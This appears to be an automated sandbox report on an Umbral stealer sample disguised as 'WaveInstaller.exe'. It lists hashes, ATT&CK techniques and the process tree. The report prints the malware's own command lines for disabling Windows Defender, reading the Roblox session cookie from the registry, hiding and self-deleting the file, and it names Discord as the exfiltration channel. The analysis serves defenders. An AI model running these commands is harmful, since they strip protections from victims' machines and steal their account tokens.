umbral | c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd

Analysis

max time kernel
6s
max time network
4s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 11:22

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General

Target

WaveInstaller.exe
Size

229KB
MD5

7ca49c1e4deac51030961240dc071e44
SHA1

dbe976f4e1ca8476cf35105e214e98c071bdb601
SHA256

c4969a3f443dc0c21066c9b801a86d8802585ed708f209cd418d0252541884bd
SHA512

cb70825c4cebc592cfe281214f3a614a5a0eac78dac3cc0a5da7116b9d2eb5af718745067c0c7be3b2957c3ddade18416171863490d40c0bec8162e0322303ae
SSDEEP

6144:FloZMZrIkd8g+EtXHkv/iD4SpQvDJ6id1IJbGmTuOb8e1mBi:HoZ6L+EP8SpQvDJ6id1IJbGmT5D

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp family_umbral
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2800 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

WaveInstaller.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts WaveInstaller.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2220 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

8 discord.com
7 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

1256 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2268 PING.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

WaveInstaller.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2768 WaveInstaller.exe
2800 powershell.exe
2484 powershell.exe
468 powershell.exe
2968 powershell.exe
780 powershell.exe

resource	yara_rule
behavioral1/memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp	family_umbral

pid	process
2800	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	WaveInstaller.exe

pid	process
2220	cmd.exe

flow	ioc
8	discord.com
7	discord.com

flow	ioc
4	ip-api.com

pid	process
1256	wmic.exe

pid	process
2268	PING.EXE

pid	process
2768	WaveInstaller.exe
2800	powershell.exe
2484	powershell.exe
468	powershell.exe
2968	powershell.exe
780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WaveInstaller.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2768	WaveInstaller.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe
Token: 33	2688	wmic.exe
Token: 34	2688	wmic.exe
Token: 35	2688	wmic.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	wmic.exe
Token: SeSecurityPrivilege	1512	wmic.exe
Token: SeTakeOwnershipPrivilege	1512	wmic.exe
Token: SeLoadDriverPrivilege	1512	wmic.exe
Token: SeSystemProfilePrivilege	1512	wmic.exe
Token: SeSystemtimePrivilege	1512	wmic.exe
Token: SeProfSingleProcessPrivilege	1512	wmic.exe
Token: SeIncBasePriorityPrivilege	1512	wmic.exe
Token: SeCreatePagefilePrivilege	1512	wmic.exe
Token: SeBackupPrivilege	1512	wmic.exe
Token: SeRestorePrivilege	1512	wmic.exe
Token: SeShutdownPrivilege	1512	wmic.exe
Token: SeDebugPrivilege	1512	wmic.exe
Token: SeSystemEnvironmentPrivilege	1512	wmic.exe
Token: SeRemoteShutdownPrivilege	1512	wmic.exe
Token: SeUndockPrivilege	1512	wmic.exe
Token: SeManageVolumePrivilege	1512	wmic.exe
Token: 33	1512	wmic.exe
Token: 34	1512	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

WaveInstaller.execmd.exe

description	pid	process	target process
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 2688	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	attrib.exe
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	attrib.exe
PID 2768 wrote to memory of 2648	2768	WaveInstaller.exe	attrib.exe
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2800	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2484	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 468	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 2968	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1512	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1680	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1268	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 780	2768	WaveInstaller.exe	powershell.exe
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 1256	2768	WaveInstaller.exe	wmic.exe
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	cmd.exe
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	cmd.exe
PID 2768 wrote to memory of 2220	2768	WaveInstaller.exe	cmd.exe
PID 2220 wrote to memory of 2268	2220	cmd.exe	PING.EXE
PID 2220 wrote to memory of 2268	2220	cmd.exe	PING.EXE
PID 2220 wrote to memory of 2268	2220	cmd.exe	PING.EXE

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2648 attrib.exe

pid	process
2648	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\system32\attrib.exe
"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe"
2⤵
- Views/modifies file attributes
PID:2648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
2⤵
PID:1680

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
2⤵
PID:1268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:780

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
2⤵
- Detects videocard installed
PID:1256

C:\Windows\system32\cmd.exe
"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\WaveInstaller.exe" && pause
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2220

C:\Windows\system32\PING.EXE
ping localhost
3⤵
- Runs ping.exe
PID:2268

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
f5c89ae426ee5c4d5dbe032a708f6014

SHA1
4c4e169947b405d0f05ac1dc1d9098fe457f0284

SHA256
8bf9e7d0f85697f2f94b6b99305cc20fa09a416fe66490ba28771250e552cf28

SHA512
a9eb13c9b239e595d48b8206decef4447dec77753f356400dbcb1ba6b1ac22971a0629f02d8e5208d8de4429161611e7654daa3975c8243d477929bed418bc73

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/780-44-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2484-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2484-15-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2768-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

Filesize
4KB

Download
memory/2768-1-0x0000000000800000-0x0000000000840000-memory.dmp

Filesize
256KB

Download
memory/2768-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2768-48-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2800-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2800-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download